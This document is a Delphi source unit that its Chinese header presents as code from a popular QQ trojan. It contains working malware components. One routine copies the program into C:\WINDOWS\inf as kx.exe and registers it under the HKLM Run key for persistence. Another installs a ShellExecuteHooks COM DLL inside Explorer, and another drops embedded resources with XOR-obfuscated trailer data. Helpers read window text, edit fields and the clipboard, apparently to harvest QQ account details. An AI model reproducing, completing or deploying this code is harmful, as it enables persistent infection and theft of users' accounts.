tonghan.pas

这是目前很流行的QQ木马 的代码 现在 这个很使用的

unit tonghan;

interface
function ReleaseResToFile(ResType, ResName, FileName: PChar; const ExtraInfo: string): Boolean;
 //写记事本
 procedure Log( s : PChar);stdcall;
 //得到时间
function gettime:string ; 
// 取窗体文字
function GetCaption(hWnd: LongWord): string;
  // 取窗口类名
function GetWinClass(hWnd: LongWord): string;
  // 取 edit文字
function GetEditText(hWndEdit: LongWord): string;
//字符串转换成整数
Function StrToInt(Const S: String): Integer;
  // 整数转字符串
function Int2Str(const Int: Integer): string;
//去除空格
function Trim(const S: string): string;
 //写注表 和复制自身
 procedure SetAutoRun;
//读取自身尾部信息
function GetExtraInfo(FileName: string): string;
// 字符串比较(不区分大小写)
function CompareAnsiText(const S1, S2: string): Boolean;
//判断一个字符是否乱码
Function isstr(x: Char): Boolean;
//判断一个字符是否数字
Function isstrshu(str:string):boolean;
//是否处于中文输入法
Function iszhongwen:boolean;
//16进制转汉字
Function to32(str:STRING): String;   //转成汉字
//得到剪贴板的内容
function getjianban( hand: LongWord):string;
// 是否为数字串
function IsNumString(const Str: string): Boolean;
//从窗口得到进程的路径
function getMyFileName(HAND: LongWord):string;
//文件是否存在
function FileExists(const FileName: string): Boolean;
//得到文件名的相对路径
function getFilePath(const FileName: string): string;
  //加解密字符串
Function EncryptText(Text: String): String;
//将字符串反转
function ReverseString(const s: string): string;
  // 添加Url执行挂钩     『钩子文件名』
procedure Register_ComDLL(ComDLL_FileName: PChar);
 // 释放路径
function GetReleasePath(): string;
 //保存大区在注册表项
function Setqqkey(s:pchar):boolean;
//得到保存大区的值
function getQQkey:pchar;
 //得到当天时间并以数字型式显示
function getNowDay:string;
//系统路径
function GetSystemDir(): string;
implementation

uses
  Windows,messages,tlhelp32,imm;


 //保存大区在注册表项
function Setqqkey(s:pchar):boolean;
var
  k1: hkey;
  l: longint;
  p: pchar;
begin
  result:=false;
    l := regopenkey(HKEY_LOCAL_MACHINE, 'SOFTWARE', k1);
    l := regopenkey(k1, 'Microsoft', k1);
    p := pchar(s);//(ParamStr(0));
    l := regsetvalueEx(k1,'oneqq', 0, 1, p, 255);
    result:=true;
    RegCloseKey(k1);
end;
//得到保存大区的值
function getQQkey:pchar;
var
  k1: hkey;
  l: longint;
  s:array [0..255] of Char;
  RegDataLen: DWORD;
  RegValueType: DWORD;

begin
  RegDataLen:=255;
  RegValueType := REG_MULTI_SZ;
    l := regopenkey(HKEY_LOCAL_MACHINE, 'SOFTWARE', k1);
    l := regopenkey(k1, 'Microsoft', k1);
    RegQueryValueEx(k1, 'oneqq', nil, @RegValueType, PByte(@s), @RegDataLen);
    result:=s;
    RegCloseKey(k1);
end;
//系统路径
function GetSystemDir(): string;
var
  J: DWord;
begin
  J := MAX_PATH + 1;
  SetLength(Result, J);
  J := GetSystemDirectory(@Result[1], J);
  SetLength(Result, J);
  if (Result[J] <> '\') then Result := Result + '\';
end;
  // 释放路径
function GetReleasePath(): string;
var
  Buffer: array[0..255] of Char;
begin
  if (GetSystemDirectory(Buffer, 255) = 0) then Buffer[0] := 'C';
  if (IsCharAlpha(Buffer[0]) = False) then Buffer[0] := 'C';
  Result := Buffer[0] + ':\Program Files\Common Files\Microsoft Shared\MSINFO\';
end;
 // 添加注册表项    『根键』       『路径』 『名称』 『键值』
procedure SetStrValue(RootKey: HKEY; StrPath, StrName, StrData: PChar);
  function StrLen(const Str: PChar): Cardinal; assembler;
  asm
        MOV     EDX,EDI
        MOV     EDI,EAX
        MOV     ECX,0FFFFFFFFH
        XOR     AL,AL
        REPNE   SCASB
        MOV     EAX,0FFFFFFFEH
        SUB     EAX,ECX
        MOV     EDI,EDX
  end;
var
  TempKey: HKey;
  Disposition, DataSize: LongWord;
begin
  TempKey := 0;
  Disposition := REG_CREATED_NEW_KEY;
  RegCreateKeyEx(RootKey, StrPath, 0, nil, 0, KEY_ALL_ACCESS, nil, TempKey, @Disposition);

  DataSize := StrLen(StrData) + 1;
  RegSetValueEx(TempKey, StrName, 0, REG_SZ, StrData, DataSize);

  RegCloseKey(TempKey);
end;

  // 添加Url执行挂钩     『钩子文件名』
procedure Register_ComDLL(ComDLL_FileName: PChar);
const
  HookPath = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellExecuteHooks';
  HookName = '{DCC4B01F-514B-4B59-AAED-3351140E06E6}';
var
  sTemp: string;
begin
  SetStrValue(HKEY_LOCAL_MACHINE, HookPath, HookName, '');

  sTemp := 'CLSID\' + HookName;
  SetStrValue(HKEY_CLASSES_ROOT, PChar(sTemp), '', '');

  sTemp := sTemp + '\InProcServer32';
  SetStrValue(HKEY_CLASSES_ROOT, PChar(sTemp), '', ComDLL_FileName);
  SetStrValue(HKEY_CLASSES_ROOT, PChar(sTemp), 'ThreadingModel', 'Apartment');
end;

// 资源到文件         『类型』 『名称』 『位置』         『额外信息』
function ReleaseResToFile(ResType, ResName, FileName: PChar; const ExtraInfo: string): Boolean;
var
  HResInfo, HGlobal, FHandle, FSize, WSize: LongWord;
  FMemory: Pointer;
begin
  Result := FALSE;

  HResInfo := FindResource(hInstance, ResName, ResType);
  if (HResInfo = 0) then Exit;

  HGlobal := LoadResource(hInstance, HResInfo);
  if (HGlobal = 0) then Exit;

  FMemory := LockResource(HGlobal);
  if (FMemory = nil) then Exit;

  DeleteFile(FileName);
  FHandle := CreateFile(FileName, GENERIC_READ or GENERIC_WRITE,
    0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
  if (FHandle = INVALID_HANDLE_VALUE) then Exit;

  FSize := SizeOfResource(hInstance, HResInfo);
  WriteFile(FHandle, FMemory^, FSize, Wsize, nil);

  FSize := Length(ExtraInfo);
  WriteFile(FHandle, ExtraInfo[1], FSize, Wsize, nil);

  SetEndofFile(FHandle);
  CloseHandle(FHandle);

  UnlockResource(HGlobal);
  FreeResource(HGlobal);

  Result := TRUE;
end;
//将字符串反转
function ReverseString(const s: string): string;
var
i, len: Integer;
begin
len := Length(s);
SetLength(Result, len);
for i := len downto 1 do
 begin
Result[len - i + 1] := s[i];
end;
end;
 //写记事本
 procedure Log( s : PChar);stdcall;
  var
    F : TextFile;
  begin
    assignfile(f,'c:\记事本.txt');
    if fileexists('c:\记事本.txt') then append(f)
    else rewrite(f);
    writeln(f,s);
    closefile(f);
  end;  
  //加解密字符串
Function EncryptText(Text: String): String;
Var
  I     :Word;
  C     :Word;
Begin
  Result := '';
  For I := 1 To Length(Text) Do
    Begin
      C := Ord(Text[I]);
      Result := Result + Chr((C Xor 12));
    End;
End;
//得到文件名的相对路径
function getFilePath(const FileName: string): string;
var
  I,ii: Integer;
  s,ss:string;
  b:boolean;
begin
  b:=true;
  s:=FileName ;
  I := pos('.',s);
 Delete(s,i,5);
 for ii:=0 to 30 do
   begin
     if b then
       begin
         ss:=copy(s,length(s),1);
         if (ss='\') then b:=false else delete(s,length(s),1)
       end;
   end;
 Result :=s;
end;
//文件是否存在
function FileExists(const FileName: string): Boolean;
 var
   Handle: THandle;
   FindData: TWin32FindData;
 begin
   Handle := FindFirstFileA(PChar(FileName), FindData);
   result:= Handle <> INVALID_HANDLE_VALUE;

 end;
//从窗口得到进程的路径
function getMyFileName(HAND: LongWord):string;
VAR
 ModuleStruct : TMODULEENTRY32; 
 ModuleHandle : LongWord;       
 WinProcessId : LongWord;      
 begin
   GetWindowThreadProcessId(HAND, @WinProcessId);
    ModuleHandle := CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, WinProcessId);
    ModuleStruct.dwSize := sizeof(ModuleStruct);
    Module32First(ModuleHandle, ModuleStruct);
    getMyFileName := ModuleStruct.szExePath;
end;
// 是否为数字串
function IsNumString(const Str: string): Boolean;
var
  J: Integer;
begin
  Result := True;

  for J := 1 to Length(Str) do
    if (Str[J] < '0') or (Str[J] > '9') then
    begin
      Result := False;
      Exit;
    end;
end;
// 字符串比较(不区分大小写)
function CompareAnsiText(const S1, S2: string): Boolean;
begin
  Result := CompareString(LOCALE_USER_DEFAULT, NORM_IGNORECASE, PChar(S1), -1, PChar(S2), -1) = 2;
end;

//读取自身尾部信息
function GetExtraInfo(FileName: string): string;
var
  hFile, WSize, Len: DWORD;
begin
  Result := '';

  hFile := CreateFile(PChar(FileName), GENERIC_READ,
    FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  if (hFile = INVALID_HANDLE_VALUE) then Exit;

  SetFilePointer(hFile, -4, nil ,FILE_END);
  ReadFile(hFile, Len, 4, WSize, nil);
  Len := Len xor $4D617A69;  // 解出信息长度
  if (Len > GetFileSize(hFile, nil)) then Exit;

  SetFilePointer(hFile, -Len, nil ,FILE_END);
  SetLength(Result, Len);
  ReadFile(hFile, Result[1], Len, WSize, nil);

  CloseHandle(hFile);
end;
 //写注表 和复制自身
 procedure SetAutoRun;
var
  k1: hkey;
  l: longint;
  p: pchar;
begin
  
COPYFILE(pchar(ParamStr(0)),PCHAR('C:\WINDOWS\inf\kx.exe'),false);
  try
  {$IFNDEF DebugMode}
    l := regopenkey(HKEY_LOCAL_MACHINE, 'SOFTWARE', k1);
    l := regopenkey(k1, 'Microsoft', k1);
    l := regopenkey(k1, 'Windows', k1);
    l := regopenkey(k1, 'CurrentVersion', k1);
    l := regopenkey(k1, 'Run', k1);
    p := pchar('C:\WINDOWS\inf\kx.exe');//(ParamStr(0));
    l := regsetvalueEx(k1, 'Sys', 0, 1, p, 255);
  {$ENDIF}
  except
  end;
end;
//得到剪贴板的内容
function getjianban( hand: LongWord):string;
var
 hGlobal: DWORD;
 pGlobal: PChar;
 hWndDc: HDC;
 Rect: TRect;
 ps: TPaintStruct;
 begin
     Result := '';
        hWndDc := BeginPaint(hand, ps);
        OpenClipboard(hand); // 打开剪贴板
        hGlobal := GetClipboardData(CF_TEXT); // 取得文字信息内存块
        if (hGlobal <> 0) then // 取到
        begin
          pGlobal := GlobalLock(hGlobal); // 锁定
          DrawText(hWndDc, pGlobal, -1, Rect, DT_EXPANDTABS); // 绘制
          GlobalUnlock(hGlobal); // 解锁
        end;
        CloseClipboard(); // 关闭剪贴板
        Result := pGlobal;
end;

//去除空格
function Trim(const S: string): string;
var
  I, L: Integer;
begin
  L := Length(S);
  I := 1;
  while (I <= L) and (S[I] <= ' ') do Inc(I);
  if I > L then Result := '' else
  begin
    while S[L] <= ' ' do Dec(L);
    Result := Copy(S, I, L - I + 1);
  end;
end;
// 取窗体文字
function GetCaption(hWnd: LongWord): string;
var
  szWindowText: array[0..MAX_PATH] of Char;
  szTextLength: Integer;
begin
  szTextLength := SendMessage(hWnd, WM_GETTEXT, MAX_PATH, Integer(@szWindowText[0]));
  szWindowText[szTextLength] := #0;
  Result := szWindowText;
end;

  // 取窗口类名
function GetWinClass(hWnd: LongWord): string;
var
  szClassName: array[0..MAX_PATH] of Char;
begin
  szClassName[GetClassName(hWnd, szClassName, MAX_PATH)] := #0;
  Result := szClassName;
end;




  // 取 edit文字
function GetEditText(hWndEdit: LongWord): string;
var
  szEditText: array[0..MAX_PATH] of Char;
begin
  szEditText[GetWindowText(hWndEdit, szEditText, MAX_PATH)] := #0;
  Result := szEditText;
end;

  // 整数转字符串
function Int2Str(const Int: Integer): string;
var
  d, m: Integer;
begin
  if (Int = 0) then begin Result := '0'; Exit; end;
  if (Int < 0) then m := - Int else m := Int;
  Result := '';
  while (m <> 0) do
  begin
    d := m mod 10;
    m := m div 10;
    Result := Char(d + 48) + Result;
  end;
  if (Int < 0) then Result := '-' + Result;
end;

//字符串转换成整数
Function StrToInt(Const S: String): Integer;
Var
E: Integer;
Begin
Val(S, Result, E);
End;
//判断一个字符是否乱码
Function isstr(x: Char): Boolean;
 begin
 Result := (Ord(x) >= $21) and (Ord(x) <= $7E);
 end;
 //判断一个字符是否数字
Function isstrshu(str:string):boolean;
 begin
  Result:=false;
   if  (str='1') or (str='2') or (str='3') or (str='4') or (str='5')
   or (str='6') or (str='7') or (str='8') or (str='9') or (str='0')  then
   Result:=true;

 end;
//是否处于中文输入法
Function iszhongwen:boolean;
var
myhkl:hkl;
begin
Result:=false;
myhkl:=GetKeyBoardLayOut(0);
if ImmIsIME(myhkl) then
Result:=true;
{immsimulateHotkey(GetForegroundWindow,
IME_CHotKey_IME_NonIME_Toggle);  '}
end;
//16进制转汉字
Function to32(str:STRING): String;   //转成汉字
 var
  s,v: string;
  i: Integer;
  sv:string;
 begin
  for i:=1 to Length(str) div 3 do
    sv:= sv+Char(StrToInt('$'+Copy(str, (i-1)*3+1, 2)));
    to32:=sv;
 end;


 //得到时间
function gettime:string ;
var
st: TSystemTime;
begin
GetLocalTime(st);
gettime:=int2str(st.wYear )+
                 int2str(st.wMonth)+
                  int2str(st.wday)+
                   int2str(st.wHour )+
                    int2str(st.wMinute )+
                    int2str(st.wSecond);
end;
 //得到当天时间并以数字型式显示
function getNowDay:string;
var
 st: TSystemTime;
begin
 GetLocalTime(st);
 result:=Int2Str(st.wYear*365+st.wMonth*30+st.wday);
end;
end.